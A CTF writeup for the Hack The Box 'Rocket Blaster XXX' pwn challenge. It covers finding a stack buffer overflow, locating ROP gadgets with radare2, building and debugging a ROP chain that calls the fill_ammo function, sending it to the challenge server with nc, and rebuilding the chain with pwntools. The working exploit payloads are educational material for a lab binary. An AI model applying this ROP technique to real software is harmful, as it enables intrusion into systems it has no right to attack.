forbytten blogs

Rocket Blaster XXX Writeup - Cyber Apocalypse 2024

Last update:

1 Introduction

This writeup covers the Rocket Blaster XXX Pwn challenge from the Hack The Box Cyber Apocalypse 2024 CTF, which was rated as having an ‘easy’ difficulty. The challenge involved the identification of a stack-based buffer overflow vulnerability and the exploitation of it using the ROP (Return-Oriented Programming) technique.

The description of the challenge is shown below.

Rocket Blaster XXX challenge description

2 Key Techniques

The key techniques employed in this writeup are:

3 Artifacts Summary

The downloaded artifact had the following hash:

$ shasum -a256 pwn_rocket_blaster_xxx.zip
f35ddd7b9b835c5283f902d74b5def15c745f023be8228866a1e00c26745ea14  pwn_rocket_blaster_xxx.zip

The zip file contained a rocket_blaster_xxx binary, a fake flag file and glibc libraries:

$ unzip pwn_rocket_blaster_xxx.zip
Archive:  pwn_rocket_blaster_xxx.zip
   creating: challenge/
   creating: challenge/glibc/
  inflating: challenge/glibc/ld-linux-x86-64.so.2
  inflating: challenge/glibc/libc.so.6
  inflating: challenge/rocket_blaster_xxx
 extracting: challenge/flag.txt

$ shasum -a256 $(find challenge -type f)
0ec4598452154dc4172bfede1181c82efba4d21b7fb02c4fb12da1d6d648d2e4  challenge/rocket_blaster_xxx
bc1a1b62cb2b8d8c8d73e62848016d5c1caa22208081f07a4f639533efee1e4a  challenge/glibc/libc.so.6
4d2657934fc7442f86bd1258a7c6440aeab584add04f0c3dae6c6f4610c612f4  challenge/glibc/ld-linux-x86-64.so.2
1d5bc96de556b62162db68870aa29581f152c172cf5e73cf74f381cf42c07b84  challenge/flag.txt

4 Vulnerability analysis

4.1 Basic file identification

The file command was used to identify the binary. For the purposes of the challenge, the key properties identified were:

$ file rocket_blaster_xxx
rocket_blaster_xxx: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./glibc/ld-linux-x86-64.so.2, BuildID[sha1]=9e28ecfbaaa7523f12988b4e40c003ec28baf849, for GNU/Linux 3.2.0, not stripped

4.2 Identifying enabled mitigation techniques

checksec indicated the stack is non-executable but lacks stack canaries. It also confirmed the binary is not a position independent executable (PIE).

$ checksec --file=rocket_blaster_xxx
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Full RELRO      No canary found   NX enabled    No PIE          No RPATH   RW-RUNPATH   51 Symbols        No    0               2               rocket_blaster_xxx

4.3 Identifying a stack-based buffer overflow vulnerability

The binary was imported into Ghidra using default settings and the main function located.

The main function does not do much, as best summarized by the decompiled code in Ghidra. However, it does read up to 0x66 (102) bytes into the stack variable local_28, which is only 0x28 (40) bytes below the stack base pointer RBP on entry to the function, giving rise to a stack-based buffer overflow vulnerability, which is an instance of the common weakness CWE-121: Stack-based Buffer Overflow. Although checksec indicated the stack is non-executable, the lack of stack canaries means that the return address can still be overwritten. This may allow a ROP (Return-Oriented Programming) exploit if a suitable gadget chain can be determined. Furthermore, the lack of a position independent executable means that target addresses can be statically determined.

The main function has a stack-based buffer overflow vulnerability in reading 0x66 (102) bytes into the local_28 variable, even though the variable is only 0x28 (40) bytes below the stack base pointer, RBP, on entry to the function

4.4 Identifying a ROP gadget chain

When searching for a ROP gadget chain, it is always useful to examine what functions the binary defines, as one or more of these may be desirable targets. In this case, a fill_ammo function was located in the Ghidra Symbol Tree.

fill_ammo function located in Ghidra symbol tree

Examining the fill_ammo function, the following was noted:

Parameters passed to the fill_ammo function must equal constant byte strings before the flag is printed

Radare2 was used to find gadgets that can be used to set the registers RDI, RSI and RDX to the desired values before returning to the fill_ammo function:

  1. Start Radare2

    $ r2 rocket_blaster_xxx
  2. Perform all analysis

    [0x00401190]> aaaa
    [x] Analyze all flags starting with sym. and entry0 (aa)
    [x] Analyze function calls (aac)
    [x] Analyze len bytes of instructions for references (aar)
    [x] Finding and parsing C++ vtables (avrr)
    [x] Type matching analysis for all functions (aaft)
    [x] Propagate noreturn information (aanr)
    [x] Finding function preludes
    [x] Enable constraint types analysis for variables
  3. Locate a pop rdi gadget. In other words, a sequence of instructions that will pop an item off the stack into the RDI register, then return to an address located on the stack.

    There was only one gadget found, with an address of 0x0040159f.

    [0x00401190]> /R pop rdi
      0x0040159d                 5e  pop rsi
      0x0040159e                 c3  ret
      0x0040159f                 5f  pop rdi
      0x004015a0                 c3  ret
  4. Locate a pop rsi gadget. Multiple gadgets were found but the last one with address of 0x0040159d was used.

    [0x00401190]> /R pop rsi
      0x004013aa           c1488d05  ror dword [rax - 0x73], 5
      0x004013ae                 5e  pop rsi
      0x004013af               0c00  or al, 0
      0x004013b1             004889  add byte [rax - 0x77], cl
      0x004013b4             c2488d  ret 0x8d48
    
      0x00401595               00e8  add al, ch
      0x00401597         1dfdffff5a  sbb eax, 0x5afffffd
      0x0040159c                 c3  ret
      0x0040159d                 5e  pop rsi
      0x0040159e                 c3  ret
    
      0x0040159b                 5a  pop rdx
      0x0040159c                 c3  ret
      0x0040159d                 5e  pop rsi
      0x0040159e                 c3  ret
  5. Locate a pop rdx gadget. Multiple gadgets were found but the last one with address of 0x0040159b was used.

    [0x00401190]> /R pop rdx
      0x0040158e             4889e5  mov rbp, rsp
      0x00401591         b800000000  mov eax, 0
      0x00401596         e81dfdffff  call 0x4012b8
      0x0040159b                 5a  pop rdx
      0x0040159c                 c3  ret
    
      0x0040158f               89e5  mov ebp, esp
      0x00401591         b800000000  mov eax, 0
      0x00401596         e81dfdffff  call 0x4012b8
      0x0040159b                 5a  pop rdx
      0x0040159c                 c3  ret
    
      0x00401592               0000  add byte [rax], al
      0x00401594               0000  add byte [rax], al
      0x00401596         e81dfdffff  call 0x4012b8
      0x0040159b                 5a  pop rdx
      0x0040159c                 c3  ret
  6. Locate the fill_ammo function. This can also be observed in Ghidra.

    [0x00401190]> afl|grep fill
    0x004012f5   12 466          sym.fill_ammo

5 Local exploitation - attempt 1

5.1 Creating the payload

From Ghidra, the variable in the main function that is vulnerable to a stack-based buffer overflow is the local_28 variable, which is 0x28 (40) bytes below the RBP on entry to the function. This means there are 40 bytes before the return address on the stack. Thus, our gadget chain is as follows, where all addresses have been expanded to 8 bytes little-endian format as per the x86-64 target architecture and written as Python byte strings:

b"a"*40                                 # fill out stack up to return address
b"\x9f\x15\x40\x00\x00\x00\x00\x00"     # address of pop rdi gadget
b"\xef\xbe\xad\xde\x00\x00\x00\x00"     # 0xdeadbeef to be popped into rdi
b"\x9d\x15\x40\x00\x00\x00\x00\x00"     # address of pop rsi gadget
b"\xbe\xba\xad\xde\x00\x00\x00\x00"     # 0xdeadbabe to be popped into rsi
b"\x9b\x15\x40\x00\x00\x00\x00\x00"     # address of pop rdx gadget
b"\x37\x13\xad\xde\x00\x00\x00\x00"     # 0xdead1337 to be popped into rdx
b"\xf5\x12\x40\x00\x00\x00\x00\x00"     # address of fill_ammo function

Python was invoked to write the chain to input.txt:

python -c 'import sys;sys.stdout.buffer.write(b"a"*40 + b"\x9f\x15\x40\x00\x00\x00\x00\x00" + b"\xef\xbe\xad\xde\x00\x00\x00\x00" + b"\x9d\x15\x40\x00\x00\x00\x00\x00" + b"\xbe\xba\xad\xde\x00\x00\x00\x00" + b"\x9b\x15\x40\x00\x00\x00\x00\x00" + b"\x37\x13\xad\xde\x00\x00\x00\x00" + b"\xf5\x12\x40\x00\x00\x00\x00\x00" + b"\x0a")'  >input.txt

The payload contents were confirmed using xxd:

$ xxd input.txt
00000000: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
00000010: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
00000020: 6161 6161 6161 6161 9f15 4000 0000 0000  aaaaaaaa..@.....
00000030: efbe adde 0000 0000 9d15 4000 0000 0000  ..........@.....
00000040: beba adde 0000 0000 9b15 4000 0000 0000  ..........@.....
00000050: 3713 adde 0000 0000 f512 4000 0000 0000  7.........@.....
00000060: 0a                                       .

5.2 Delivering the payload

Unfortunately, when the payload was delivered to the local binary, a segmentation fault was encountered.

$ ./rocket_blaster_xxx < input.txt

<snip/>

Prepare for trouble and make it double, or triple..

You need to place the ammo in the right place to load the Rocket Blaster XXX!

>>
Preparing beta testing..
zsh: segmentation fault  ./rocket_blaster_xxx < input.txt

In order to debug the segmentation fault, the binary was loaded into gdb:

$ gdb -q rocket_blaster_xxx

It was found that execution reaches the printf instruction after the three parameter comparisons:

  1. The address of the printf call is 0x401444:

    In the fill_ammo function, the address of the printf call after the parameter comparisons is 0x401444
  2. A breakpoint was set in gdb and the program run. The breakpoint was successfully reached.

    (gdb) b *0x401444
    Breakpoint 1 at 0x401444
    
    (gdb) run < input.txt
    
    Breakpoint 1, 0x0000000000401444 in fill_ammo ()
    => 0x0000000000401444 <fill_ammo+335>:  e8 a7 fc ff ff          call   0x4010f0 <printf@plt>

However, progressing to the next instruction resulted in a segmentation fault within libc.

(gdb) ni

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7c750d0 in ?? () from ./glibc/libc.so.6
=> 0x00007ffff7c750d0:  0f 29 4c 24 10          movaps XMMWORD PTR [rsp+0x10],xmm1
(gdb)

A lead was found regarding the stack needing to be 16 byte aligned before returning into a glibc function with one solution being to pad the ROP chain with an extra ret before returning into a libc function.

6 Local exploitation - attempt 2

6.1 Adding an extra ret to the ROP chain

Radare2 was once again used to locate a ret gadget, with the first one found being used at address 0x0040101a:

[0x00401190]> /R ret
  0x0040100e             004885  add byte [rax - 0x7b], cl
  0x00401011         c07402ffd0  sal byte [rdx + rax - 1], 0xd0
  0x00401016           4883c408  add rsp, 8
  0x0040101a                 c3  ret

<snip/>

The chain was modified to insert the ret gadget before the fill_ammo address:

b"a"*40                                 # fill out stack up to return address
b"\x9f\x15\x40\x00\x00\x00\x00\x00"     # address of pop rdi gadget
b"\xef\xbe\xad\xde\x00\x00\x00\x00"     # 0xdeadbeef to be popped into rdi
b"\x9d\x15\x40\x00\x00\x00\x00\x00"     # address of pop rsi gadget
b"\xbe\xba\xad\xde\x00\x00\x00\x00"     # 0xdeadbabe to be popped into rsi
b"\x9b\x15\x40\x00\x00\x00\x00\x00"     # address of pop rdx gadget
b"\x37\x13\xad\xde\x00\x00\x00\x00"     # 0xdead1337 to be popped into rdx
b"\x1a\x10\x40\x00\x00\x00\x00\x00"     # STACK ALIGNMENT FIX: address of ret gadget
b"\xf5\x12\x40\x00\x00\x00\x00\x00"     # address of fill_ammo function

Python was once again invoked to write the chain to input.txt:

python -c 'import sys;sys.stdout.buffer.write(b"a"*40 + b"\x9f\x15\x40\x00\x00\x00\x00\x00" + b"\xef\xbe\xad\xde\x00\x00\x00\x00" + b"\x9d\x15\x40\x00\x00\x00\x00\x00" + b"\xbe\xba\xad\xde\x00\x00\x00\x00" + b"\x9b\x15\x40\x00\x00\x00\x00\x00" + b"\x37\x13\xad\xde\x00\x00\x00\x00" + b"\x1a\x10\x40\x00\x00\x00\x00\x00" + b"\xf5\x12\x40\x00\x00\x00\x00\x00" + b"\x0a")'  >input.txt

The payload contents were once again confirmed using xxd:

$ xxd input.txt
00000000: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
00000010: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
00000020: 6161 6161 6161 6161 9f15 4000 0000 0000  aaaaaaaa..@.....
00000030: efbe adde 0000 0000 9d15 4000 0000 0000  ..........@.....
00000040: beba adde 0000 0000 9b15 4000 0000 0000  ..........@.....
00000050: 3713 adde 0000 0000 1a10 4000 0000 0000  7.........@.....
00000060: f512 4000 0000 0000 0a                   ..@......

6.2 Delivering the payload

This time, delivering the payload to the local binary resulted in the flag being printed:

$ ./rocket_blaster_xxx < input.txt

<snip/>

Prepare for trouble and make it double, or triple..

You need to place the ammo in the right place to load the Rocket Blaster XXX!

>>
Preparing beta testing..
[✓] [✓] [✓]

All Placements are set correctly!

Ready to launch at: HTB{f4k3_fl4g_4_t35t1ng}
zsh: segmentation fault  ./rocket_blaster_xxx < input.txt

7 Remote exploitation - obtaining the flag

The payload was delivered to the remote target using nc with input redirected from input.txt, resulting in the flag being obtained:

$ nc -n -v 83.136.253.67 44929 < input.txt
(UNKNOWN) [83.136.253.67] 44929 (?) open
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣤⣤⣤⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣶⣿⠟⠉⠉⠻⣿⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣾⠿⠉⠀⠀⠀⠀⠀⠹⣿⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣴⣾
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⣿⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣴⣾⡿⠛⠉
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⣿⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⣾⡿⠟⠁⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣴⣿⡿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣷⣶⣶⣦⣤⣤⣄⡀⠀⢀⣠⣾⣿⠿⠋⠀⠀⠀⠀⠀⣠
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⣿⣿⡿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣤⠶⠞⣿⠟⠋⠉⠉⠙⣻⠿⢿⣿⣿⣿⠟⠁⠀⠀⠀⠀⠀⢀⡼⠁
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢰⣿⠁⠛⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⠟⠁⢠⡞⠁⠀⠀⠀⢀⡴⠋⠀⢀⡿⠋⠁⠀⠀⠀⠀⠀⠀⠀⡞⠁⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣼⣿⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⠃⠀⢠⠏⠀⠀⠀⠀⣰⠏⠀⠀⣠⠟⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡥⠤⡀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⣿⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠠⣇⠀⣠⡏⠀⠀⠀⠀⣼⠁⠀⠀⣰⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡴⠁
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣄⣄⣼⣿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢻⡶⠋⠀⠀⠀⠀⢸⣧⠀⠀⣴⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⢧⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⠀⠀⠀⠀⣾⡿⠿⣿⡿⠁⠀⠀⠀⠀⠀⠀⣠⣶⣶⣶⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⠛⠛⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠳
⠀⠀⠀⠀⠀⠀⢀⣾⠿⠛⢿⣿⣷⣄⡀⣿⠃⠀⠈⠀⠀⠀⠀⠀⠀⢀⣾⣿⣿⣿⣿⣧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⣠⣤⣦⣼⣿⠀⠀⠀⣿⣿⣿⣿⣿⣦⣀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⡿⠀⠀⠀⢀⣀⣀⣀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⣿⣿⣿⣿⣷⣄⠀⠀⠀⠀⠀⠀⠀
⠀⣠⣾⡿⠋⠉⠉⠁⠀⠀⠀⠀⠉⢯⡙⠻⣿⣿⣷⣤⡀⠀⠀⠀⠀⢿⣿⣿⣿⣿⡿⠃⢀⡤⠖⠋⠉⠉⠉⠉⠉⠉⠒⠦⣄⠀⠀⠀⢰⣿⣿⣿⣿⣿⣿⣿⣷⠀⠀⠀⠀⠀⠀⠀⠀
⣾⣿⠋⠀⠀⠀⠀⣀⣀⠀⠀⠀⠀⠀⠙⢦⣄⠉⠻⢿⣿⣷⣦⡀⠀⠈⠙⠛⠛⠋⠀⢰⠟⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠳⣄⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀
⣿⡇⠀⠀⠀⣴⠟⣫⣿⣿⣄⠀⠀⠀⠀⡶⢌⡙⠶⣤⡈⠛⠿⣿⣷⣦⣀⠀⠀⠀⠀⡇⠀⢻⣄⠀⠀⣠⢷⠀⠀⠀⠀⠀⡶⠀⠘⡆⠀⠀⠻⣿⣿⣿⣿⣿⣿⣿⡟⠀⠀⠀⠀⠀⠀
⣿⡇⠀⠀⢸⣟⢸⣿⣿⣿⣿⠀⠀⠀⠀⡇⠀⠈⠛⠦⣝⡳⢤⣈⠛⠻⣿⣷⣦⣀⠀⠀⠀⠀⠈⠙⠋⠁⠀⠛⠦⠤⠤⠚⠁⠀⠀⢳⠀⠀⠀⠈⠛⠿⠿⠿⠟⠋⠀⠀⠀⠀⠀⠀⠀
⣿⡇⠀⠀⠈⢿⣞⣿⣿⣿⠏⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠙⠳⢬⣛⠦⠀⠙⢻⣿⣷⣦⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡞⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⣿⡇⠀⠀⠀⠀⠉⠛⠋⠁⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠈⠁⠀⠀⠈⣿⠉⢻⣿⣷⣦⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡼⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⣿⡇⠀⠀⠀⠀⠀⣠⣄⠀⠀⢰⠶⠒⠒⢧⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⠀⢸⡇⢸⡟⢿⣷⣦⣴⣶⣶⣶⣶⣤⣔⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⣿⡇⠀⠀⣤⠀⠀⠿⠿⠁⢀⡿⠀⠀⠀⡄⠈⠙⡷⢦⣄⡀⠀⠀⠀⠀⠀⠀⠀⣿⠀⢸⡇⢸⡇⠀⣿⠙⣿⣿⣉⠉⠙⠿⣿⣧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⣿⡇⠀⠀⠙⠷⢤⣀⣠⠴⠛⠁⠀⠀⠀⠇⠀⠀⡇⢸⡏⢹⡷⢦⣄⡀⠀⠀⠀⣿⡀⢸⡇⢸⡇⠀⡟⠀⢸⠀⢹⡷⢦⣄⣘⣿⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⣿⣿⠢⣤⡀⠀⠀⠀⠀⠀⠀⣠⠾⣿⣿⡷⣤⣀⡇⠸⡇⢸⡇⢸⠉⠙⠳⢦⣄⡻⢿⣾⣧⣸⣧⠀⡇⠀⢸⠀⢸⡇⢤⣈⠙⠻⣿⣆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⢹⣿⣷⣌⡉⠛⠲⢶⣶⠖⠛⠛⢶⣄⡉⠛⠿⣽⣿⣶⣧⣸⡇⢸⠀⠀⠀⠀⠈⠙⠲⢮⣝⠻⣿⣷⣷⣄⣸⠀⢸⡇⠀⠈⠁⠀⢸⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠈⠙⠻⢿⣷⣶⣤⣉⡻⢶⣄⣀⠈⠙⠳⢦⣈⡉⠻⢿⣿⣷⣾⣦⡀⠀⠀⠀⠀⠀⠀⠈⠙⠲⢭⣛⠿⣿⣷⣼⡇⠀⠀⠀⠀⠈⣿⡇⠀⠀⠀⠀⠀⠀⣀⠀⠀⠀⠀⠀⠀⠀⠀⣀
⠀⠀⠀⠀⠀⠈⠙⠻⢿⣿⣷⣶⣽⣻⡦⠀⠀⠈⠙⠷⣦⣌⡙⠻⢿⣟⣷⣤⣀⠀⠀⠀⠀⠀⠀⠀⠈⠙⠳⢯⣻⡇⠀⠀⠀⠀⠀⢸⣿⠀⣀⠀⠀⠀⠀⠈⠳⣄⠀⠀⠀⢀⡏⠙⠛
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠛⠻⢿⣿⣿⣿⣶⣤⣤⣤⣀⣈⠛⠷⣤⣈⡛⠷⢽⡻⢶⣄⣀⠀⠀⠀⠀⠀⠀⠀⠈⠛⠳⢤⣀⠀⠀⢸⣿⡀⠈⠳⢤⣀⣀⣰⠃⠈⠛⠶⠶⠿⠃⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢈⣿⡿⠛⠉⠙⠛⠛⠻⢷⣦⣄⣩⣿⠶⠖⠛⠛⠛⠛⠛⠛⠿⢷⣶⣦⣄⠀⠀⠀⠀⠉⢻⣶⣿⣿⠇⠀⠀⠀⠉⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⣿⠁⠀⠀⠀⠀⠀⠀⠀⣿⣿⠋⠀⠀⠀⠀⠀⣠⠖⠂⠀⠀⠀⠈⠙⠿⣿⣦⡄⠀⠀⣸⣿⠟⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢰⣿⡟⠀⠀⠀⠀⠀⠀⠀⠀⢸⡇⠀⠀⠀⠀⣰⠊⠁⠀⠀⠀⠀⠀⠀⠀⠀⠈⠛⢿⣶⣄⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⠇⠀⠀⠀⠀⠀⠀⠀⠀⢸⣧⠀⠀⢀⠞⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠙⢿⣿⣇⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡿⠿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⡿⠦⠠⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠧⠤⠄⠙⡿⠿⠦⠤⠤⠤⠤⠄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀


Prepare for trouble and make it double, or triple..

You need to place the ammo in the right place to load the Rocket Blaster XXX!

>>
Preparing beta testing..
[✓] [✓] [✓]

All Placements are set correctly!

Ready to launch at: HTB{b00m_b00m_r0ck3t_2_th3_m00n}

8 Conclusion

The flag was submitted and the challenge was marked as pwned

Submission of the flag marked the challenge as pwned

9 Appendix - crafting the payload using pwntools

The payload can also be crafted using pwntools, although the more manual approach used in the writeup provides a deeper understanding. A commented transcript of using pwntools is below.

 $ ipython3
 Python 3.11.8 (main, Feb  7 2024, 21:52:08) [GCC 13.2.0]
 Type 'copyright', 'credits' or 'license' for more information
 IPython 8.20.0 -- An enhanced Interactive Python. Type '?' for help.

 In [1]: from pwn import *

 In [2]: binary = ELF('./rocket_blaster_xxx')
 [*] 'REDACTED/rocket_blaster_xxx'
     Arch:     amd64-64-little
     RELRO:    Full RELRO
     Stack:    No canary found
     NX:       NX enabled
     PIE:      No PIE (0x400000)
     RUNPATH:  b'./glibc/'

 In [3]: rop = ROP(binary)
 [*] Loaded 8 cached gadgets for './rocket_blaster_xxx'

 # Easily construct a ROP chain to populate registers.
 In [4]: rop(rdi=0xdeadbeef, rsi=0xdeadbabe, rdx=0xdead1337)

 # Locate a ret gadget
 In [5]: rop.ret
 Out[5]: Gadget(0x40101a, ['ret'], [], 0x4)

 # Manually set data: address of ret gadget.
 In [6]: rop.raw(0x000000000040101a)

 # Manually set data: address of fill_ammo function.
 In [7]: rop.raw(0x00000000004012f5)

 # These bytes are wrong because pwntools defaults to a 32 bit architecture.
 In [8]: print(rop.dump())
 0x0000:         0x40159f pop rdi; ret
 0x0004:       0xdeadbeef
 0x0008:         0x40159d pop rsi; ret
 0x000c:       0xdeadbabe
 0x0010:         0x40159b pop rdx; ret
 0x0014:       0xdead1337
 0x0018:         0x40101a ret
 0x001c:         0x4012f5 fill_ammo

 # These bytes are wrong because pwntools defaults to a 32 bit architecture.
 In [9]: bytes(rop)
 Out[9]: b'\x9f\x15@\x00\xef\xbe\xad\xde\x9d\x15@\x00\xbe\xba\xad\xde\x9b\x15@\x007\x13\xad\xde\x1a\x10@\x00\xf5\x12@\x00'

 # Tell pwntools to use the correct architecture.
 In [10]: context.clear(arch='amd64')

 # These bytes look better, with addresses padded out to 8 bytes.
 In [11]: bytes(rop)
 Out[11]: b'\x9f\x15@\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\x9d\x15@\x00\x00\x00\x00\x00\xbe\xba\xad\xde\x00\x00\x00\x00\x9b\x15@\x00\x00\x00\x00\x007\x13\xad\xde\x00\x00\x00\x00\x1a\x10@\x00\x00\x00\x00\x00\xf5\x12@\x00\x00\x00\x00\x00'

 # These bytes look better, with addresses padded out to 8 bytes.
 In [12]: print(rop.dump())
 0x0000:         0x40159f pop rdi; ret
 0x0008:       0xdeadbeef
 0x0010:         0x40159d pop rsi; ret
 0x0018:       0xdeadbabe
 0x0020:         0x40159b pop rdx; ret
 0x0028:       0xdead1337
 0x0030:         0x40101a ret
 0x0038:         0x4012f5 fill_ammo